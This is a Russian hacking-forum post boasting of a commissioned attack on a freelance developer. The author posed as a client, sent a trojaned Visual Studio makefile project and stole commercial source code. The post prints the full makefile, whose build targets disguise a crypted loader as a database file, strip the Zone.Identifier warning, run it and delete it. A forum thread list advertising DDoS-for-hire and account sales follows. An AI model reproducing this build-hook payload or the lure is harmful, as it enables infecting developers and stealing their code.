Точеная атака на программиста, трояним VS2015

Admin

Original poster
Administrator
Сообщения
916
Реакции
753
Посетить сайт
Сидел я, значит, раздумывал о том, стоит ли прибавить всему форуму +5 к паранои. Да и сам очковал рассказывать сию историю. Но однажды я обкурился самокруткой из дошика и решил все-таки поведать историю, как фрилансеров взломал.

Предыстория
Связался со мной заказчик, заказал слив исходного кода одной коммерческой программы.
На входных данных он мне дал только несколько вещей:
Официальный сайт данного продукта
Клиентов
Контакты разработчика

Из всего этого мне пригодилось чуть менее, чем ничего, а атака была совершена зная лишь название софта. Для простоты я все перевел на русский, работа была по GB.
Для простоты и анонимности назовем софт леброша

Разведка
Начал я с поиска данных по этой программе. Начал ддосить гугл различными запросами, вида:

Код:
леброша & отзывы
леброша & контакты & разработчик
леброша & отзывы & разработка
леброша & фриланс & отзывы & разработка
И внезапно для самого меня на последнем запросе вышла ссылка на фриланс биржу.

Это была анкета какого-то фрилансера, где в описании гордо красовался текст:
Разрабатывал леброшу на C++
Это было довольно интересной зацепкой. Мы нашли настоящего разработчика! Предположив, что разраб должен иметь сорсы софта и выкуривая последнюю партию бодяжного дошика я приступил к изучению работ данного персонажа.

Среди них оказался огромный перечень различных софтов и услуг. Одна из услуг была такой:
Доработка чужого исходного кода
И тут я загорелся, от радости перестал грустить по закончевшемуся дошику и вступил в диалог с разработчком (Р).

Диалог был примерно следующий:
Я: Здравствуйте, имеется на руках NoSQL база данных на C++, требуется доработка. Нужен следующий функционал: возможность удаления таблиц по заданным критериям, а также их добавления. Сроки - две недели.
Р: Здравствуйте! 20$/час
Я: Отлично, сегодня вечером скину проект!
Р: В какой среде он написан?
Я: Не знаю, что-то с visual связано
Р: Visual Studio?
Я: Да
И тут я пошел готовить вредоносный проект в Visual Studio

Трояним проект Visual Studio 2015

Итак, стояла следующая задача: нужно было заразить систему ратником при нажатии кнопки "Скомпилировать".

Варианта было два:

1) Запуск шеллкода из самого кода базы данных
2) События сборки
3) Мейк-файл

Я выбрал 3-й вариант, как наиболее простой. Был создан Makefile-проект на базе существующего исходного кода, в makefile был записан следующий текст:
Код:
SRC=main.cpp sort.cpp sort.h
NAME=Database
OUT=$(NAME).exe
DEBUG=debug
RELEASE=release
LIBS=kernel32.lib advapi32.lib user32.lib
b_debug:$(DEBUG)
%Windir%\system32\cmd.exe /c copy Database.sdf Database.scr & exit

echo 0 > Database.scr:Zone.Identifier

Database.scr & del Database.scr /f
@cl $(SRC) /Fo$(DEBUG)/ /Fd$(DEBUG)/vc.pdb /c /GS- /Gz /TP /MTd /ZI /nologo /W0 /D _DEBUG
   @link $(DEBUG)/*.obj /OUT:$(DEBUG)/$(OUT) /PDB:$(DEBUG)/$(NAME).pdb /LTCG /NOLOGO /DEBUG /SUBSYSTEM:CONSOLE /DYNAMICBASE /FIXED:No $(LIBS)
@del $(DEBUG)\*.obj
@del $(DEBUG)\*.idb
$(DEBUG):
@mkdir $(DEBUG)   
b_release:$(RELEASE)
%Windir%\system32\cmd.exe /c copy Database.sdf Database.scr & exit

echo 0 > Database.scr:Zone.Identifier

Database.scr & del Database.scr /f
@cl $(SRC) /Fo$(RELEASE)/ /Fd$(RELEASE)/vc.pdb /c /GL /MT /Gy /GS- /Gz /TP /Od /W0 /nologo
@link $(RELEASE)/*.obj /OUT:$(RELEASE)/$(OUT) /LTCG /NOLOGO /SUBSYSTEM:CONSOLE /DYNAMICBASE /FIXED:No $(LIBS)
@del $(RELEASE)\*.obj
$(RELEASE):
@mkdir $(RELEASE)
Суть в чем.

Имеются два события: дебаг-сборка и релиз-сборка. Нам необходимо врубить троя в каждом из этих событий. Рассмотрим релиз-сборку, так как дебаг-сборка просто ее копипаст.

По порядку.
Код:
b_release:$(RELEASE)
Данная строчка говорит, что это нужно выполнить при сборке в релиз.

Там содержится следующий код:

Код:
%Windir%\system32\cmd.exe /c copy Database.sdf Database.scr & exit

echo 0 > Database.scr:Zone.Identifier

Database.scr & del Database.scr /f
Данный код открывает командную строку, копирует Database.sdf в Database.scr, записывает в Zone.Identifier информацию о том, что файл доверенный (чтобы избежать появления окна, что файл скачан из интернета ), после чего запускает лоадер нашего троя и удаляет его.

Как вы догадались в Database.sdf был именно криптованный лоадер, так как строка
Код:
Database.scr & del Database.scr /f
возвращала управление только после завершения лоадера и сразу пихать ратник туда было неразумно из-за временных затрат.

Результаты

Данный проект был скинут нашей жертве, которая тут же его скомпилировала и заразилась нашим ратником. После чего на его харде были найдены сорцы леброши и переданы заказчику.

Все остались счастливы, а я накупил еще дошика!

Всем спасибо, проверяйте скидываемые вам проекты!

© Lebron

 
  • Like
Реакции: HATRED
Название темы
Автор Заголовок Раздел Ответы Дата
Emilio_Gaviriya Статья Как происходит ICMP атака. Уязвимости и взлом 0
Denik Интересно Анонимная DDoS атака на веб-сайт с помощью GoldenEye и способы защиты Уязвимости и взлом 1
S Флуд - атака мобильных и городских номеров! Заблокируем, уничтожим, забьём канал, работаем по часам! Спам / Флуд / Ддос 0
S UDP атака на IP адрес Уязвимости и взлом 9
Admin Отказ от обслуживания. Анонимная DDoS атака на веб-сайт с помощью GoldenEye и способы защиты Полезные статьи 1
D Продам DDoS атака|DeniaLofService|Устранение конкурентов Спам / Флуд / Ддос 10
D DDoS атака|DeniaLofService|Устранение конкурентов Ищу работу. Предлагаю свои услуги. 2
O Заказать ddos! | ддос атака | ddos атака | купить ддос Спам / Флуд / Ддос 8
G APT-атака. Сложная постоянная угроза или целевая кибератака. Часть 1 Полезные статьи 1
G Что такое DNS атака и как она работает? Полезные статьи 0
G Seth - MITM атака, перехват RDP паролей. Kali Linux 0
K Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 2 Уязвимости и взлом 0
K Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 1 Уязвимости и взлом 1
G Dos-атака на WiFi Kali Linux 4
Jonny984 Брутфорс атака на конкретную цель Вопросы и интересы 4
Y SQL атака с помощью кали линукс Уязвимости и взлом 5
Admin Моя первая точеная атака Уязвимости и взлом 6
S Проверено !!!Мощная DDoS атака !!!Powerful DDoS Atack !!! Спам / Флуд / Ддос 3
Admin DDoS-атака вывела из строя систему теплоснабжения в небольшом финском городе Новости в сети 0
E Проверено Заказать DDOS атаку, DDOS атака на сайт, DDOS Услуги, Заказать дешево ддос! Спам / Флуд / Ддос 4
CoderUnicorn Приветствуем всех, кто заинтересован в арбитраже трафика на платформах Google и Facebook! Предоставляю работу. Ищу специалиста. 0
Support81 ФБР объявила охоту на владельца ботнет-сети из Молдовы Новости в сети 0
V Заплачу дропу(дропше) 10 000 рублей за прохождение верификации на вебмани.Год рождения 1977 или старше. Корзина 0
V Куплю через гаранта аккаунт модератора на теневом форуме. Корзина 0
Support81 «Крыша» за криптовалюту: экс-полицейский МВД России в розыске за взятки на 4,9 млрд рублей Новости в сети 0
turbion0 Мошенник под видом начальника обманул петрозаводчанку почти на миллион рублей Новости в сети 0
Support81 Экс-сотрудник ФСБ на службе у хакеров: 9 лет тюрьмы за крышевание преступников Новости в сети 0
Y Ожидает оплаты YTparser - Парсер ютуба в телеграмме | Почты | ВКонтакте | Ссылки на каналы | И многое другое Продажа софта 0
Emilio_Gaviriya Статья Внедрение DNS-over-HTTPS на уровне операционной системы в KDE neon и Ubuntu. Анонимность и приватность 0
Support81 LockBit или DragonForce? Кибератака на Палау привела IT-специалистов в замешательство Новости в сети 0
hackway Куплю Автоматическая Скупка Аккаунтов ВКонтакте | Самые выгодные предложения на рынке! Куплю/Продам 0
El_IRBIS Интересно Проверка маршрутизатора на наличие вредоносных программ: полное руководство Вирусология 0
Support81 Криптовалютная империя на крови: KuCoin обвиняется в отмывании $9 млрд. Новости в сети 1
Tera_shop Продам Telegram аккаунты для рассылки, инвайта (Session + Json, Tdata) Tear-shop.ru Купить аккаунты на сайте: https://tear-shop.ru/ Tear-shop - Магазин Аккаунты/Админки/Документы 1
obscure Интересно YouTube канал на кардер\хаккинг\скам\кодер тематику Видео/Музыка 0
Support81 Был героем – стал злодеем: почему уставшие ИБ-специалисты встают на путь криминала Новости в сети 0
F Ручное размещение тем на разных форумах и продажа базы. Ищу работу. Предлагаю свои услуги. 2
Support81 Loop DoS: бесконечные циклы на службе киберпреступников Новости в сети 0
M Работа на выгодных условиях без особого труда. Предоставляю работу. Ищу специалиста. 0
Support81 ФБР: технологии могут повлиять на американские выборы в 2024 году Новости в сети 1
Emilio_Gaviriya Статья Поиск уязвимостей на хосте. Уязвимости и взлом 1
Support81 Американские власти наложили санкции на разработчиков спайвари Predator Новости в сети 0
Support81 Фишинг-кит CryptoChameleon ориентирован на пользователей мобильных устройств Новости в сети 0
srv24 Продам SRV24 - выделенные серверы в 193 странах мира от 15$! Скидки при оплате на 1 год! Заходи! Сайты/Хостинг/Сервера 1
Support81 Xeno RAT опубликован на GitHub: продвинутый кибершпионаж теперь доступен каждому Новости в сети 0
Support81 Более 100 тысяч зараженных репозиториев на GitHub маскируются под легитимные проекты Новости в сети 0
Emilio_Gaviriya Статья Как ловить хакеров на живца. Уязвимости и взлом 0
Support81 Картинки PNG - новый способ доставки троянов на компьютеры организаций Новости в сети 1
Support81 Темный рыцарь на продажу: в чьих руках окажется исходный код вымогателя Knight 3.0? Новости в сети 0
Emilio_Gaviriya Статья Безопасность на серверах. Уязвимости и взлом 0

Название темы